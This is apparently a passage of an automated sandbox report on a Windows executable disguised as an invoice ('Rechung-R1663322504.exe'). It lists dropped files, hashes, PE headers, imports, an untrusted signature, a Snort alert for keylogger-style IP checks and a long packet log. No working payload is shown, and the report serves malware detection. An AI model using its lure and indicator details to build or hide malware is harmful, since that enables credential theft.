File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	183
Entropy (8bit):	6.337608034945541
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllTV00EDgZ1uP6he3LFIY8roNQh/e9OuTB+Mg1J7d:6v/lhPysY0EeDyLiRroCh/0B+v1MC1jp
MD5:	293D1D4F18C3A918A44FAD289715E950
SHA1:	BD92A45835DD693FE8D0B72F296FE0134D46B876
SHA-256:	553F673950BE4DE71377A297050888D0BE5A997DB334781994C3265EDA30C7B3
SHA-512:	E62D45E30997EB18EB3C45BC1574C75462DC4CC36144D4E529F917B6091ADD14F91779F5C428458CEA129EF37B27FDDBBCEA8E5005563DC2AABCB370BEDF2E8C
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....nIDAT8.....0...wp(.....,....J.A[.O....i.4..x d..F.(.N.$ .su.w.C.~..XyZ.\|.....k....z`../..aA.<.>....j.. ...=....z....IEND.B`.

C:\Users\user\Socialdirektrer\mk.txt

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	8934
Entropy (8bit):	4.259244159879149
Encrypted:	false
SSDEEP:	192:ia3g0F7SHayJ5vKVEB3Bxg5GteGIxpWNMll39oWvt/i4drxJ4MrZEXSW:iWg0zyJlKVEB3A6SM2mWvt/i4dtJ4MNO
MD5:	71D42ABE45803AC9C3DA5FCACF9CC59C
SHA1:	98A1049906972ABB480ABAF1F5658C1B8C10F27C
SHA-256:	78F5CB9345AB258CF745EAA90D44C7A7A73D3FE06EA182B1298A989135FFA11F
SHA-512:	A0096575D6F911CC2600DAC93D6FD7AA8D9E2F9F71A92571A76996FB4C47BDB714BBA453C862B3F42CC5F4BAAF2AED1DFF3C9D6F84A3E2053FF2037C56AB85A5
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 4.09 : Gabriel Stojanoski..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Macedonian..............401....................&....&....&...................&.........440.... &........ .&............................&........&........&...................... ....... ...... .. ........?..500..&..........&.......&........&.........&........&.......540..&.............. &.............. &........&........&.......&.............&....... .......&........ .......&.........&...... ................&....... .............&.................&.................... .................... ..........&........600............ &................ ...

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	2359296
Entropy (8bit):	4.229686725490386
Encrypted:	false
SSDEEP:	24576:o8pJ5yNYJkymnjNS1O2k5cTBagmcnYJA:o8pJ5yNYJkymnjNQA5mBagmcnYJA
MD5:	327F109CCA4114DE4FE63066D46805A7
SHA1:	3798C39C38008FB918DCB98DF7DC3C54EC4B17C5
SHA-256:	9D4022C4B5D40785C0B700F710E7F9FBFD14BDAAE9613FE4ACCCDF6BF253BD65
SHA-512:	EF221FA284132C8638A02BDE73FE05AAF6FBD9F32073947FFD5D9B4680B979DD7BADD816B121BACC6BA53081623163C41DA0CF7C7B9419E5C8C51ECE839CF165
Malicious:	false
Preview:	regf........5.#.^................... ....P .....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm...OY..............................................................................................................................................................................................................................................................................................................................................}.{)........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	376832
Entropy (8bit):	2.6371963290907305
Encrypted:	false
SSDEEP:	3072:fpFZfwN1/HecetetUuM/aNim4ixiyuiKisiXiPG7ieCNi5gU5zH35Gs3MOx02EnC:fvZoN1vJAO84iTd+v4He3TKz
MD5:	8726C4CBDA130722A758F76728527B19
SHA1:	7E989D5E29BECA70895BF7F8DCE7ECD5A502B331
SHA-256:	3856E2E2811C31B7CFB6872DB96F0E384ECA9C3B6DDE5B9712BFC85D20A2B952
SHA-512:	BBF5D267ABC9A6C2A8750B14901D56840CFD00473125732250EB2C22B0F0EA0A4756B30B090A9F182EDFD2F5C0EE862F8DD74CFE66C79378D4DB416DA05CB954
Malicious:	false
Preview:	regf........5.#.^................... ....P .....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm...OY..............................................................................................................................................................................................................................................................................................................................................{.{)HvLE.............P ....../.E..d)H."....................@...............@............... ............................... ... ... .. ..hbin................5.#.^...........nk,....S....... .......................................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......nk ...k.PY......(...........@...............................*...N.......)...InventoryMiscellaneousMemorySlotArrayInfo....................mG.....nk .$4./T....... ...................................

C:\Windows\assembly\Desktop.ini

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	227
Entropy (8bit):	5.2735028737400205
Encrypted:	false
SSDEEP:	6:a1eZBXVNYTF0NwoScUbtSgyAXIWv7v5PMKq:UeZBFNYTswUq1r5zq
MD5:	F7F759A5CD40BC52172E83486B6DE404
SHA1:	D74930F354A56CFD03DC91AA96D8AE9657B1EE54
SHA-256:	A709C2551B8818D7849D31A65446DC2F8C4CCA2DCBBC5385604286F49CFDAF1C
SHA-512:	A50B7826BFE72506019E4B1148A214C71C6F4743C09E809EF15CD0E0223F3078B683D203200910B07B5E1E34B94F0FE516AC53527311E2943654BFCEADE53298
Malicious:	false
Preview:	; ==++==..; ..; Copyright (c) Microsoft Corporation. All rights reserved...; ..; ==--==..[.ShellClassInfo]..CLSID={1D2680C9-0E2A-469d-B787-065558BC7D43}..ConfirmFileOp=1..InfoTip=Contains application stability information...

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	158
Entropy (8bit):	4.298534139898036
Encrypted:	false
SSDEEP:	3:WNEDkFrA7fwkh07NfORRAzs2VkNatO3MLlDKIEsExLrWwrAXTcFrXX8:WsTbRh07NkMswksKML4IOBWEyIFrc
MD5:	95A9765293B395853C7059AB01DA28AE
SHA1:	7627EBC68CCE94B1E1CCC826C0D14D8068B3C90D
SHA-256:	08E334353322F44FDC19102929B367F4D870F3BC8872F973EAAA8119B6AC771F
SHA-512:	47D1F81B3E26D4BC20954268285ACE3DAA970A5B78F3E6F31BF8266F2310702B57CDF285839BACE9635BE31A2479F9126814FFA4E832C2864080A9C8918D9505
Malicious:	false
Preview:	.Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.1116261135004395
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Rechung-R1663322504.exe
File size:	416280
MD5:	11b5b208de7a85b46104a0597c5da7dc
SHA1:	c578bc317e666159cbfc191cb4e50de2de03ab79
SHA256:	0a80ba418f561098477e18cc42ddfc31796b2be3166ff6c99967b98388fe4826
SHA512:	c79e0deeb1686edc5bfe2db026f423277740fe816a674a3111fb36fd4813825a080048b44d03e92310db526a8c791259684778f8dea0861cd9b26e2f5f0b5d23
SSDEEP:	6144:16bAcJtT+SdoujpZM5DMJ+VGM1lMwJ1OPH7USLahNcfM9rQ09j3V/PySssz:2APSbyDMOJrOPH7UfnpCSD
TLSH:	B694BFA0F620D0DADCB417F16C9FD9211AE76EECE4E0220F65A73259AD736D3051F24A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....uY.................d....:....

File Icon


Icon Hash:	f169e8e4e4ccca88

Static PE Info

General

Entrypoint:	0x403350
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x59759518 [Mon Jul 24 06:35:04 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Departmentalizations@Trisulphide193.Lok, OU="Pasteuriseringens Eternellerne ", O=Stikprvestandardafvigelsernes, L=Dividing Creek, S=New Jersey, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	27/12/2022 11:19:02 26/12/2025 11:19:02
Subject Chain	E=Departmentalizations@Trisulphide193.Lok, OU="Pasteuriseringens Eternellerne ", O=Stikprvestandardafvigelsernes, L=Dividing Creek, S=New Jersey, C=US
Version:	3
Thumbprint MD5:	1F7F4BF42A830708AC95921509004FCC
Thumbprint SHA-1:	54B3D870C522C1CA544E3D38597EEC9DC6D3C3A0
Thumbprint SHA-256:	ED0BD8E407BDD2EB9D4B7BDFEC49D761B0F85D212BDFDC1A3F9981BBA4AD638B
Serial:	4122AFC051A99F02AE188FBC961AC5C36F876297

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007F40DCB82EE3h
push ebx
call 00007F40DCB86179h
cmp eax, ebx
je 00007F40DCB82ED9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F40DCB860F3h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F40DCB82EBCh
push 0000000Ah
call 00007F40DCB8614Ch
push 00000008h
call 00007F40DCB86145h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007F40DCB86139h
cmp eax, ebx
je 00007F40DCB82EE1h
push 0000001Eh
call eax
test eax, eax
je 00007F40DCB82ED9h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3d3000	0x281f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x63778	0x22a0	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63c8	0x6400	False	0.6766015625	data	6.504099201068482	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x2a000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3d3000	0x281f0	0x28200	False	0.35579731308411217	data	5.085440369030725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3d3310	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States
RT_ICON	0x3e3b38	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States
RT_ICON	0x3ecfe0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States
RT_ICON	0x3f2468	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States
RT_ICON	0x3f6690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States
RT_ICON	0x3f8c38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States
RT_ICON	0x3f9ce0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States
RT_ICON	0x3fa668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States
RT_DIALOG	0x3faad0	0x120	data	English	United States
RT_DIALOG	0x3fabf0	0x11c	data	English	United States
RT_DIALOG	0x3fad10	0xc4	data	English	United States
RT_DIALOG	0x3fadd8	0x60	data	English	United States
RT_GROUP_ICON	0x3fae38	0x76	data	English	United States
RT_MANIFEST	0x3faeb0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20158.101.44.24249845802039190 03/18/23-05:38:08.943594	TCP	2039190	ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check	49845	80	192.168.11.20	158.101.44.242

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2023 05:38:07.192332983 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.192359924 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.192634106 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.205848932 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.205863953 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.243274927 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.243577957 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.244079113 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.244271040 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.301903009 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.303085089 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.303307056 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.306361914 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.348496914 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.686002016 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.686170101 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.686347961 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.686557055 CET	443	49843	142.250.184.206	192.168.11.20
Mar 18, 2023 05:38:07.686769009 CET	49843	443	192.168.11.20	142.250.184.206
Mar 18, 2023 05:38:07.791002989 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.791033030 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.791369915 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.791657925 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.791678905 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.834359884 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.834547997 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.834606886 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.835166931 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.835330009 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.835330009 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.838656902 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.838684082 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.839046001 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:07.839221954 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.839565992 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:07.880487919 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.059297085 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.059484959 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.059570074 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.059582949 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.059621096 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.059700012 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.059746981 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.059823990 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.061012030 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.061258078 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.061803102 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.062004089 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.062004089 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.062004089 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.062088013 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.062323093 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.063960075 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.064158916 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.064220905 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.064448118 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.066956043 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.067177057 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.067687035 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.067857027 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.067909002 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.068015099 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.068114996 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.068186998 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.068217993 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.068413973 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.068625927 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.068834066 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.068902969 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.069087982 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.069444895 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.069610119 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.069678068 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.069844007 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.070167065 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.070367098 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.070437908 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.070699930 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.070875883 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.071058989 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.071125031 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.071337938 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.071608067 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.071770906 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.071839094 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.072031021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.072288036 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.072453976 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.072556973 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.072715998 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.072776079 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.072920084 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.073020935 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.073086023 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.073132038 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.073306084 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.073761940 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.073991060 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.073998928 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.074049950 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.074165106 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.074266911 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.074683905 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.074984074 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.075042963 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.075110912 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.075155020 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.075314045 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.075596094 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.075788975 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.075833082 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.075855970 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.076014996 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.076545000 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.076742887 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.076771975 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.076796055 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.076970100 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.077451944 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.077658892 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.077676058 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.077723980 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.077867985 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.077914000 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.078067064 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.078216076 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.078373909 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.078422070 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.078598976 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.078634024 CET	49844	443	192.168.11.20	172.217.16.129
